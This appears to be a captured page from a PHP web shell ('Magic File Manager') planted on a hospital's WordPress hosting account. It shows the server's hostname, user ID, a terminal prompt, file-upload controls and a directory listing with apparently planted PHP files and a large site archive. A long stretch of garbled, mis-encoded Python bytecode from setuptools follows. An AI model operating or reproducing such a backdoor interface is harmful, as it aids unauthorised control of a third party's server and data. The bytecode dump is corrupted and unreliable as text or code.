✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log714.36 KB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
3 Ävhu¦ã@s¶dgZddlZddlZddlZddlZddlZddlZddlZddl Zddl Z ddl m Z ddl mZmZmZddlmZddlmZddlmZddlmZdd lmZmZmZdd lmZdd lmZdd l m!Z!dd l"m#Z#ddl$Z$ddl%m&Z&e'dƒe'dƒdd„Z(dd„Z)dd„Z*e+e,fZ-dd„Z.dd„Z/dd„Z0dd„Z1d d!„Z2d"d#„Z3d$d%„Z4d&d'„Z5d(d)„Z6d*d+„Z7d,d-„Z8d.d/„Z9e!ej:j;ƒZZ parse_maprCr)rEr8rFÚerrrÚcheck_entry_pointsÜsrhcCst|tjƒstdƒ‚dS)Nztest_suite must be a string)rbr Z string_typesr)rEr8rFrrrÚcheck_test_suiteäs ric Csdt|tƒrTxH|jƒD]8\}}t|tƒs(Py t|ƒWqtk rJPYqXqWdSt|dƒ‚dS)z@Verify that value is a dictionary of package names to glob listsNzI must be a dictionary mapping package names to lists of wildcard patterns)rbrcr2ÚstrÚiterrBr)rEr8rFÚkÚvrrrÚcheck_package_dataés    rncCs,x&|D]}tjd|ƒstjjd|ƒqWdS)Nz \w+(\.\w+)*z[WARNING: %r not a valid package name; please use only .-separated package names in setup.py)ÚreÚmatchrNrOr)rEr8rFZpkgnamerrrÚcheck_packagesûs   rqc@s0eZdZdZdeedœZdZdd„ZdGdd„Z dd „Z d d „Z e d d „ƒZ dd„Zdd„ZdHdd„Zdd„Zdd„Zdd„Zdd„Zdd„Zdd „Zd!d"„Zd#d$„Zd%d&„Zd'd(„Zd)d*„Zd+d,„Zd-d.„Zd/d0„Zd1d2„Zd3d4„Z d5d6„Z!d7d8„Z"d9d:„Z#d;d<„Z$d=d>„Z%d?d@„Z&dAdB„Z'dCdD„Z(dEdF„Z)dS)Ira�Distribution with support for features, tests, and package data This is an enhanced version of 'distutils.dist.Distribution' that effectively adds the following new optional keyword arguments to 'setup()': 'install_requires' -- a string or sequence of strings specifying project versions that the distribution requires when installed, in the format used by 'pkg_resources.require()'. They will be installed automatically when the package is installed. If you wish to use packages that are not available in PyPI, or want to give your users an alternate download location, you can add a 'find_links' option to the '[easy_install]' section of your project's 'setup.cfg' file, and then setuptools will scan the listed web pages for links that satisfy the requirements. 'extras_require' -- a dictionary mapping names of optional "extras" to the additional requirement(s) that using those extras incurs. For example, this:: extras_require = dict(reST = ["docutils>=0.3", "reSTedit"]) indicates that the distribution can optionally provide an extra capability called "reST", but it can only be used if docutils and reSTedit are installed. If the user installs your package using EasyInstall and requests one of your extras, the corresponding additional requirements will be installed if needed. 'features' **deprecated** -- a dictionary mapping option names to 'setuptools.Feature' objects. Features are a portion of the distribution that can be included or excluded based on user options, inter-feature dependencies, and availability on the current system. Excluded features are omitted from all setup commands, including source and binary distributions, so you can create multiple distributions from the same source tree. Feature names should be valid Python identifiers, except that they may contain the '-' (minus) sign. Features can be included or excluded via the command line options '--with-X' and '--without-X', where 'X' is the name of the feature. Whether a feature is included by default, and whether you are allowed to control this from the command line, is determined by the Feature object. See the 'Feature' class for more information. 'test_suite' -- the name of a test suite to run for the 'test' command. If the user runs 'python setup.py test', the package will be installed, and the named test suite will be run. The format is the same as would be used on a 'unittest.py' command line. That is, it is the dotted name of an object to import and call to generate a test suite. 'package_data' -- a dictionary mapping package names to lists of filenames or globs to use to find data files contained in the named packages. If the dictionary has filenames or globs listed under '""' (the empty string), those names will be searched for in every package, in addition to any names for the specific package. Data files found using these names/globs will be installed along with the package, in the same location as the package. Note that globs are allowed to reference the contents of non-package subdirectories, as long as you use '/' as a path separator. (Globs are automatically converted to platform-specific paths at runtime.) In addition to these new keywords, this class also has several new methods for manipulating the distribution's contents. For example, the 'include()' and 'exclude()' methods can be thought of as in-place add and subtract commands that add or remove packages, modules, extensions, and so on from the distribution. They are used by the feature subsystem to configure the distribution for the included and excluded features. N)rr1rcCsp| sd|ksd|krdStjt|dƒƒjƒ}tjjj|ƒ}|dk rl|jdƒ rltjt|dƒƒ|_ ||_ dS)Nr[r7zPKG-INFO) r=Z safe_namerjÚlowerÚ working_setZby_keyÚgetZ has_metadataZ safe_versionZ_versionÚ _patched_dist)r5ÚattrsÚkeyrErrrÚpatch_missing_pkg_infoSsz#Distribution.patch_missing_pkg_infoc sÒtˆdƒ}|siˆ_|pi}d|ks,d|kr4tjƒgˆ_iˆ_gˆ_|jddƒˆ_ˆj |ƒ|jdgƒˆ_ |jdgƒˆ_ x$t j dƒD]}tˆƒj|jdƒq†Wtjˆ‡fdd „|jƒDƒƒx\ˆjjƒD]N\}}x6ˆjj|fD]}||krà||}PqàW|�r|ƒnd}tˆj||ƒqÊWtˆjjtjƒ�r>tˆjjƒˆj_ˆjjdk �rÆyHtjjˆjjƒ}t|ƒ} ˆjj| k�r’tj d ˆjj| fƒ| ˆj_Wn0tjj!t"fk �rÄtj d ˆjjƒYnXˆj#ƒdS) NÚ package_dataÚfeaturesÚrequire_featuresÚsrc_rootÚdependency_linksÚsetup_requireszdistutils.setup_keywordscs i|]\}}|ˆjkr||“qSr)Ú_DISTUTILS_UNSUPPORTED_METADATA)Ú.0rlrm)r5rrú qsz)Distribution.__init__..zNormalizing '%s' to '%s'z¦The version specified (%r) is an invalid version, this may not work as expected with newer versions of setuptools, pip, and PyPI. Please see PEP 440 for more details.)$r4ryÚFeatureÚwarn_deprecatedr{rzZ dist_filesÚpopr|rxr}r~r=Úiter_entry_pointsÚvarsÚ setdefaultr[Ú _DistributionÚ__init__r2rÚmetadataÚ__dict__Úsetattrrbr7ÚnumbersÚNumberrjr ZVersionrrZInvalidVersionrBÚ_finalize_requires) r5rvZhave_package_datarGZoptionÚdefaultÚsourcerFZverZnormalized_versionr)r5rr‰`sR    zDistribution.__init__cCsjt|ddƒr|j|j_t|ddƒrVx2|jjƒD]$}|jdƒd}|r.|jjj|ƒq.W|jƒ|j ƒdS)z€ Set `metadata.python_requires` and fix environment markers in `install_requires` and `extras_require`. rNÚextras_requirerXr) r rrŠr’ÚkeysÚsplitrÚaddÚ_convert_extras_requirementsÚ"_move_install_requirements_markers)r5r;rrrr�›s   zDistribution._finalize_requirescCspt|ddƒpi}ttƒ|_xP|jƒD]D\}}|j|x0tj|ƒD]"}|j|ƒ}|j||j|ƒqBWq$WdS)z¡ Convert requirements in `extras_require` of the form `"extra": ["barbazquux; {marker}"]` to `"extra:{marker}": ["barbazquux"]`. r’N) r rrSÚ_tmp_extras_requirer2r=rZÚ _suffix_forÚappend)r5Z spec_ext_reqsZsectionrmÚrÚsuffixrrrr–¯s   z)Distribution._convert_extras_requirementscCs|jrdt|jƒSdS)ze For a requirement, return the 'extras_require' suffix for that requirement. rXrI)r\rj)Úreqrrrr™¾szDistribution._suffix_forcs”dd„}tˆddƒpf}ttj|ƒƒ}t||ƒ}t||ƒ}ttt|ƒƒˆ_x&|D]}ˆj dt|j ƒj |ƒqPWt ‡fdd„ˆj j ƒDƒƒˆ_dS)zv Move requirements in `install_requires` that are using environment markers `extras_require`. cSs|j S)N)r\)r�rrrÚ is_simple_reqÐszFDistribution._move_install_requirements_markers..is_simple_reqÚinstall_requiresNrXc3s,|]$\}}|dd„tˆj|ƒDƒfVqdS)cSsg|] }t|ƒ‘qSr)rj)r€r›rrrú ÜszMDistribution._move_install_requirements_markers...N)r Ú _clean_req)r€rlrm)r5rrú ÜszBDistribution._move_install_requirements_markers..)r rSr=rZr r r rjrŸr˜r\ršrcr2r’)r5ržZspec_inst_reqsZ inst_reqsZ simple_reqsZ complex_reqsr›r)r5rr—Æs     z/Distribution._move_install_requirements_markerscCs d|_|S)zP Given a Requirement, remove environment markers and return it. N)r\)r5r�rrrr¡àszDistribution._clean_reqFcCs*tj||d�t||j|d�|jƒdS)zYParses configuration files from various levels and loads configuration. )Ú filenames)Úignore_option_errorsN)rˆÚparse_config_filesrÚcommand_optionsr�)r5r£r¤rrrr¥çszDistribution.parse_config_filescCstj|ƒ}|jr|jƒ|S)z3Process features after parsing command line options)rˆÚparse_command_linerzÚ_finalize_features)r5Úresultrrrr§òs zDistribution.parse_command_linecCsd|jddƒS)z;Convert feature name to corresponding option attribute nameZwith_ú-Ú_)Úreplace)r5r[rrrÚ_feature_attrnameùszDistribution._feature_attrnamecCs<tjjtj|ƒ|jdd�}x|D]}tjj|dd�q W|S)zResolve pre-setup requirementsT)Ú installerZreplace_conflicting)r¬)r=rsÚresolverZÚfetch_build_eggr•)r5r!Zresolved_distsrErrrÚfetch_build_eggsýs zDistribution.fetch_build_eggscCsŒtj|ƒ|jr|jƒxHtjdƒD]:}t||jdƒ}|dk r$|j|j d�|j ƒ||j|ƒq$Wt|ddƒr‚dd„|j Dƒ|_ ng|_ dS)Nzdistutils.setup_keywords)r®Úconvert_2to3_doctestscSsg|]}tjj|ƒ‘qSr)ÚosÚpathÚabspath)r€Úprrrr sz1Distribution.finalize_options..) rˆÚfinalize_optionsrzÚ_set_global_opts_from_featuresr=r…r r[Úrequirer°Úloadr²)r5rGrFrrrr·s  zDistribution.finalize_optionsc Csvtjjtjdƒ}tjj|ƒsrtj|ƒtj|ƒtjj|dƒ}t|dƒ�$}|j dƒ|j dƒ|j dƒWdQRX|S)Nz.eggsz README.txtÚwzcThis directory contains eggs that were downloaded by setuptools to build, test, and run plug-ins. zAThis directory caches those eggs to prevent repeated downloads. z/However, it is safe to delete this directory. ) r³r´r3ÚcurdirÚexistsÚmkdirrZ hide_fileÚopenr/)r5Z egg_cache_dirZreadme_txt_filenameÚfrrrÚget_egg_cache_dirs      zDistribution.get_egg_cache_dirc Cs¾ddlm}|jddgiƒ}|jdƒ}|jƒ|jdd„|jdƒjƒDƒƒ|jr„|jdd…}d|krx|dd |}d |f|d<|jƒ}||d g|d d dd d d d d d� }|j ƒ|j|ƒS)z Fetch an egg needed for buildingr)Ú easy_installZ script_argsrÂcss"|]\}}|dkr||fVqdS)Ú find_linksÚ site_dirsÚ index_urlÚoptimizeÚ allow_hostsN)rÃrÄrÅrÆrÄrÇr)r€rlrmrrrr¢1sz/Distribution.fetch_build_egg..NrÃrZsetupÚxTF) ÚargsÚ install_dirZexclude_scriptsZ always_copyZbuild_directoryZeditableZupgradeZ multi_versionZ no_reportÚuser) Zsetuptools.command.easy_installrÂÚ __class__Úget_option_dictÚclearÚupdater2r}rÁZensure_finalized)r5r�rÂrEÚoptsZlinksrÊÚcmdrrrr°*s(   zDistribution.fetch_build_eggc CsÊg}|jjƒ}x˜|jjƒD]Š\}}|j|dƒ|j|ƒ|jr|j}d}d}|jƒs^||}}d|dd||fd|dd||ff}|j |ƒd||d|<qW||j |_ |_ ||_|_ dS)z;Add --with-X/--without-X options based on optional featuresNz (default)rIzwith-zinclude zwithout-zexclude ) Ú negative_optÚcopyrzr2Ú _set_featureÚvalidateÚoptionalÚ descriptionÚinclude_by_defaultÚextendÚglobal_optionsZfeature_optionsZfeature_negopt) r5ZgoÚnor[ÚfeatureÚdescrZincdefZexcdefÚnewrrrr¸Gs"     z+Distribution._set_global_opts_from_featurescCsˆxJ|jjƒD]<\}}|j|ƒ}|s2|dkr |jƒr |j|ƒ|j|dƒq Wx6|jjƒD](\}}|j|ƒsX|j|ƒ|j|dƒqXWdS)z9Add/remove features and resolve dependencies between themNrr)rzr2Úfeature_is_includedrØÚ include_inrÔÚ exclude_from)r5r[rÜZenabledrrrr¨bs    zDistribution._finalize_featurescCs`||jkr|j|Stjd|ƒ}x:|D]&}|j|jd�|jƒ|j|<}|SWtj||ƒSdS)z(Pluggable version of get_command_class()zdistutils.commands)r®N)Úcmdclassr=r…r¹r°rºrˆÚget_command_class)r5ÚcommandZepsrGrârrrrãss    zDistribution.get_command_classcCs>x2tjdƒD]$}|j|jkr |jƒ}||j|j<q Wtj|ƒS)Nzdistutils.commands)r=r…r[râr¯rˆÚprint_commands)r5rGrârrrrå€s  zDistribution.print_commandscCs>x2tjdƒD]$}|j|jkr |jƒ}||j|j<q Wtj|ƒS)Nzdistutils.commands)r=r…r[râr¯rˆÚget_command_list)r5rGrârrrræˆs  zDistribution.get_command_listcCst||j|ƒ|ƒdS)zSet feature's inclusion statusN)rŒr­)r5r[ZstatusrrrrÔ�szDistribution._set_featurecCst||j|ƒƒS)zAReturn 1 if feature is included, 0 if excluded, 'None' if unknown)r r­)r5r[rrrrß”sz Distribution.feature_is_includedcCsF|j|ƒdkr&|j|j}t|dƒ‚|j|j|ƒ|j|dƒdS)z)Request inclusion of feature named 'name'rz2 is required, but was excluded or is not availablerN)rßrzr×rràrÔ)r5r[rÝrrrÚinclude_feature˜s   zDistribution.include_featurecKsDx>|jƒD]2\}}t|d|dƒ}|r0||ƒq |j||ƒq WdS)aôAdd items to distribution that are named in keyword arguments For example, 'dist.exclude(py_modules=["x"])' would add 'x' to the distribution's 'py_modules' attribute, if it was not already there. Currently, this method only supports inclusion for attributes that are lists or tuples. If you need to add support for adding to other attributes in this or a subclass, you can add an '_include_X' method, where 'X' is the name of the attribute. The method will be called with the value passed to 'include()'. So, 'dist.include(foo={"bar":"baz"})' will try to call 'dist._include_foo({"bar":"baz"})', which can then handle whatever special inclusion logic is needed. Z _include_N)r2r Ú _include_misc)r5rvrlrmÚincluderrrré£s  zDistribution.includecsfˆd‰|jr&‡‡fdd„|jDƒ|_|jrD‡‡fdd„|jDƒ|_|jrb‡‡fdd„|jDƒ|_dS)z9Remove packages, modules, and extensions in named packagerKcs$g|]}|ˆkr|jˆƒ r|‘qSr)Ú startswith)r€r¶)ÚpackageÚpfxrrr ¿sz0Distribution.exclude_package..cs$g|]}|ˆkr|jˆƒ r|‘qSr)rê)r€r¶)rërìrrr Åscs(g|] }|jˆkr|jjˆƒ r|‘qSr)r[rê)r€r¶)rërìrrr ËsN)ÚpackagesÚ py_modulesÚ ext_modules)r5rër)rërìrÚexclude_package¹szDistribution.exclude_packagecCs4|d}x&|jƒD]}||ks(|j|ƒrdSqWdS)z.)rbÚsequencerr rDrŒ)r5r[rFÚoldr)rFrÚ _exclude_miscØs  zDistribution._exclude_miscc sžt|tƒstd||fƒ‚yt||ƒ‰Wn tk rHtd|ƒ‚YnXˆdkr`t|||ƒn:tˆtƒsxt|dƒ‚n"‡fdd„|Dƒ}t||ˆ|ƒdS)zAHandle 'include()' for list/tuple attrs without a special handlerz%s: setting must be a list (%r)z %s: No such distribution settingNz4: this setting cannot be changed via include/excludecsg|]}|ˆkr|‘qSrr)r€rò)rôrrr ÿsz.Distribution._include_misc..)rbrórr rDrŒ)r5r[rFrÞr)rôrrèës   zDistribution._include_misccKsDx>|jƒD]2\}}t|d|dƒ}|r0||ƒq |j||ƒq WdS)aRemove items from distribution that are named in keyword arguments For example, 'dist.exclude(py_modules=["x"])' would remove 'x' from the distribution's 'py_modules' attribute. Excluding packages uses the 'exclude_package()' method, so all of the package's contained packages, modules, and extensions are also excluded. Currently, this method only supports exclusion from attributes that are lists or tuples. If you need to add support for excluding from other attributes in this or a subclass, you can add an '_exclude_X' method, where 'X' is the name of the attribute. The method will be called with the value passed to 'exclude()'. So, 'dist.exclude(foo={"bar":"baz"})' will try to call 'dist._exclude_foo({"bar":"baz"})', which can then handle whatever special exclusion logic is needed. Z _exclude_N)r2r rõ)r5rvrlrmÚexcluderrrrös  zDistribution.excludecCs,t|tƒstd|fƒ‚tt|j|ƒƒdS)Nz.packages: setting must be a list or tuple (%r))rbrórrSr rð)r5rírrrÚ_exclude_packagess  zDistribution._exclude_packagesc Cs°|jj|_|jj|_|d}|jdƒ}xB||krh||\}}||=ddl}|j|dƒ|dd…<|d}q(Wtj|||ƒ}|j|ƒ} t | ddƒr¬d|f|j|ƒd<|dk r¬gS|S)NrÚaliasesTrZcommand_consumes_argumentsz command linerÉ) rÌrÚrÒrÍÚshlexr”rˆÚ_parse_command_optsrãr ) r5ÚparserrÉrärøÚsrcÚaliasrùÚnargsZ cmd_classrrrrú s"        z Distribution._parse_command_optsc CsÌi}xÂ|jjƒD]´\}}xª|jƒD]ž\}\}}|dkr8q"|jddƒ}|dkr¤|j|ƒ}|jjƒ}|jt|diƒƒx<|jƒD]\} } | |kr|| }d}Pq|Wtdƒ‚n |dkr°d}||j |iƒ|<q"WqW|S) ahReturn a '{cmd: {opt:val}}' map of all command-line options Option names are all long, but do not include the leading '--', and contain dashes rather than underscores. If the option doesn't take an argument (e.g. '--quiet'), the 'val' is 'None'. Note that options provided by config files are intentionally excluded. z command liner«rªrrÒNzShouldn't be able to get herer) r¦r2r¬Zget_command_objrÒrÓrÏr rAr‡) r5ÚdrÑrÐÚoptrüÚvalZcmdobjZneg_optÚnegÚposrrrÚget_cmdline_options:s(     z Distribution.get_cmdline_optionsccs‚x|jp fD] }|Vq Wx|jp$fD] }|Vq&WxH|jp>fD]:}t|tƒrX|\}}n|j}|jdƒrt|dd…}|Vq@WdS)z@Yield all packages, modules, and extension names in distributionÚmoduleNéiúÿÿÿ)rírîrïrbÚtupler[Úendswith)r5ZpkgrZextr[Z buildinforrrrñbs      z$Distribution.iter_distribution_namescCsÐddl}tjs|jr tj||ƒSddl}t|j|j ƒsBtj||ƒS|jj j ƒdkr^tj||ƒS|jj }|jj }|j dkr|dp~d}|jj}|j |jjƒd|||ƒ|_z tj||ƒS|j |jjƒ||||ƒ|_XdS)zÚIf there were any non-global "display-only" options (--help-commands or the metadata display options) on the command line, display the requested info and return true; else return false. rNúutf-8Úutf8Zwin32Ú )r r )Úsysr r0Z help_commandsrˆÚhandle_display_optionsÚiorbÚstdoutÚ TextIOWrapperÚencodingrrÚerrorsr:Úline_bufferingÚdetach)r5Z option_orderr rrrÚnewlinerrrrr ts$     z#Distribution.handle_display_options)N)NF)*Ú__name__Ú __module__Ú __qualname__Ú__doc__rcrdrrurxr‰r�r–Ú staticmethodr™r—r¡r¥r§r­r±r·rÁr°r¸r¨rãrårærÔrßrçrérðrLrõrèrör÷rúrrñr rrrrrsLB ;      (c@sPeZdZdZedd„ƒZdddfffdd„Zdd „Zd d „Zd d „Z dd„Z dS)r‚aó **deprecated** -- The `Feature` facility was never completely implemented or supported, `has reported issues `_ and will be removed in a future version. A subset of the distribution that can be excluded if unneeded/wanted Features are created using these keyword arguments: 'description' -- a short, human readable description of the feature, to be used in error messages, and option help messages. 'standard' -- if true, the feature is included by default if it is available on the current system. Otherwise, the feature is only included if requested via a command line '--with-X' option, or if another included feature requires it. The default setting is 'False'. 'available' -- if true, the feature is available for installation on the current system. The default setting is 'True'. 'optional' -- if true, the feature's inclusion can be controlled from the command line, using the '--with-X' or '--without-X' options. If false, the feature's inclusion status is determined automatically, based on 'availabile', 'standard', and whether any other feature requires it. The default setting is 'True'. 'require_features' -- a string or sequence of strings naming features that should also be included if this feature is included. Defaults to empty list. May also contain 'Require' objects that should be added/removed from the distribution. 'remove' -- a string or list of strings naming packages to be removed from the distribution if this feature is *not* included. If the feature *is* included, this argument is ignored. This argument exists to support removing features that "crosscut" a distribution, such as defining a 'tests' feature that removes all the 'tests' subpackages provided by other features. The default for this argument is an empty list. (Note: the named package(s) or modules must exist in the base distribution when the 'setup()' function is initially called.) other keywords -- any other keyword arguments are saved, and passed to the distribution's 'include()' and 'exclude()' methods when the feature is included or excluded, respectively. So, for example, you could pass 'packages=["a","b"]' to cause packages 'a' and 'b' to be added or removed from the distribution as appropriate. A feature must include at least one 'requires', 'remove', or other keyword argument. Otherwise, it can't affect the distribution in any way. Note also that you can subclass 'Feature' to create your own specialized feature types that modify the distribution in other ways when included or excluded. See the docstrings for the various methods here for more detail. Aside from the methods, the only feature attributes that distributions look at are 'description' and 'optional'. cCsd}tj|tdd�dS)NzrFeatures are deprecated and will be removed in a future version. See https://github.com/pypa/setuptools/issues/65.é)Ú stacklevel)rrr)ÚmsgrrrrƒÑszFeature.warn_deprecatedFTc Ks˜|jƒ||_||_||_||_t|ttfƒr4|f}dd„|Dƒ|_dd„|Dƒ}|r^||d<t|tƒrn|f}||_ ||_ | r”| r”| r”t dƒ‚dS)NcSsg|]}t|tƒr|‘qSr)rbrj)r€r›rrrr æsz$Feature.__init__..cSsg|]}t|tƒs|‘qSr)rbrj)r€r›rrrr èsr{zgFeature %s: must define 'require_features', 'remove', or at least one of 'packages', 'py_modules', etc.) rƒr×ÚstandardÚ availablerÖrbrjrr{Úremover@r) r5r×rrrÖr{r r@Zerrrrr‰Ùs$ zFeature.__init__cCs |jo |jS)z+Should this feature be included by default?)rr)r5rrrrØ÷szFeature.include_by_defaultcCs@|jst|jdƒ‚|jf|jŽx|jD]}|j|ƒq*WdS)aEnsure feature and its requirements are included in distribution You may override this in a subclass to perform additional operations on the distribution. Note that this method may be called more than once per feature, and so should be idempotent. z3 is required, but is not available on this platformN)rrr×rér@r{rç)r5rErÀrrrràûs   zFeature.include_incCs2|jf|jŽ|jr.x|jD]}|j|ƒqWdS)a2Ensure feature is excluded from distribution You may override this in a subclass to perform additional operations on the distribution. This method will be called at most once per feature, and only after all included features have been asked to include themselves. N)rör@r rð)r5rEròrrrrás  zFeature.exclude_fromcCs2x,|jD]"}|j|ƒstd|j||fƒ‚qWdS)açVerify that feature makes sense in context of distribution This method is called by the distribution just before it parses its command line. It checks to ensure that the 'remove' attribute, if any, contains only valid package/module names that are present in the base distribution when 'setup()' is called. You may override it in a subclass to perform any other required validation of the feature against a target distribution. zg%s wants to be able to remove %s, but the distribution doesn't contain any packages or modules under %sN)r rLrr×)r5rEròrrrrÕs  zFeature.validateN) rrrrrrƒr‰rØràrárÕrrrrr‚˜s7 r‚)>Ú__all__ror³rr�Z distutils.logrNZdistutils.coreZ distutils.cmdZdistutils.distrTÚ collectionsrZdistutils.errorsrrrZdistutils.utilrZdistutils.versionrZsetuptools.externr r Zsetuptools.extern.six.movesr r r Zsetuptools.dependsrZ setuptoolsrZsetuptools.monkeyrZsetuptools.configrr=Z py36compatrÚ __import__rr#r<rrSrórHrJrRrWrVr`rerfrhrirnrqZcorerrˆr‚rrrrÚs`          G